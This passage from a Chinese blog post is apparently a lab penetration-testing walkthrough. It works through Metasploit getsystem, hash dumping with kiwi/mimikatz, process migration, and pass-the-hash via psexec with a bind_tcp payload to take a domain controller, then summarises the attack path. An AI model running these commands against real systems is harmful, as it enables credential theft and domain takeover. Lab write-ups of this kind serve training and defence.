但是提示需要systen权限。

  • 提权

执行getsystem之后成功拿到SYSTEM权限。

  • 重新抓取哈希
run windows/gather/smart_hashdump #抓取hash
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+]     liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

但是这里的是用户密码哈希。

  • 使用msf 的kiwi模块抓取哈希
load kiwi
creds_all  #列举所有凭据
creds_kerberos  #列举所有kerberos凭据
creds_msv  #列举所有msv凭据
creds_ssp  #列举所有ssp凭据
creds_tspkg  #列举所有tspkg凭据
creds_wdigest  #列举所有wdigest凭据
dcsync  #通过DCSync检索用户帐户信息
dcsync_ntlm  #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create  #创建黄金票据
kerberos_ticket_list  #列举kerberos票据
kerberos_ticket_purge  #清除kerberos票据
kerberos_ticket_use  #使用kerberos票据
kiwi_cmd  #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam  #dump出lsa的SAM
lsa_dump_secrets  #dump出lsa的密文
password_change  #修改密码
wifi_list  #列出当前用户的wifi配置文件
wifi_list_shared  #列出共享wifi配置文件/编码

但是提示无法执行。

需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。

meterpreter>ps #查看进程信息

可以看到CS生成的后门是x86的。

找到一个x64的进程。

meterpreter>migrate 3048

重新执行后成功获取到哈希:

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

得到的NTLM哈希值为:

1f3c23b3d7f228e6f03a68d0e509636f

在 Metasploit 中,经常使用于哈希传递攻击的模块有:

auxiliary/admin/smb/psexec_command   #在目标机器上执行系统命令
exploit/windows/smb/psexec           #用psexec执行系统命令
exploit/windows/smb/psexec_psh       #使用powershell作为payload

以exploit/windows/smb/psexec模块哈希传递攻击 Windows Server 2008 为例:

use exploit/windows/smb/psexec
set rhosts 192.168.93.2
set smbuser administrator
set smbpass 00000000000000000000000000000000:1f3c23b3d7f228e6f03a68d0e509636f
set smbdomain god
run

可能是防火墙的原因:关闭一下。

截屏2025-02-20 16.46.09

重新尝试一下:

但还是不行。

这里经过摸索,借鉴vulnstack-07的经验,由于是内网环境,需要修改一下payload为正向shell,我们的msf主动去连接目标主机:

set payload windows/meterpreter/bind_tcp
set lhost 192.168.93.2 #域控的ip
set lport 9999 # 域控要监听的端口
run

成功获取到域控的system权限,至此域控成功拿下。✅

总结

渗透路径回顾:

边界突破:
1)边界确定:->拿到DMZ边界主机的IP
2)边界端口扫描:->nmap端口扫描->发现80、3306等敏感端口
3)web服务信息收集:->php探针->发现mysql和phpmyadmin弱口令:root/root
4)web服务信息收集:->获取后台登录路径和凭据
5)web后台漏洞挖掘:->文件上传漏洞->写入木马getshell 
6)DMZ区后渗透:->CS上线、凭据抓取、psexec攻击域控【第一条路径打通✅】

内网渗透:
1)内网渗透:->域内信息收集->DMZweb开启3389端口->远程登录DMZ区web服务器
2)meterpreter获取:CS联动MSF、msfvenom生成后门。
3)内网横向移动->为msf添加内网路由、进行端口扫描、kiwi抓取NTLM哈希
4)攻击域控->利用PTH哈希传递攻击拿下域控的system权限。

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录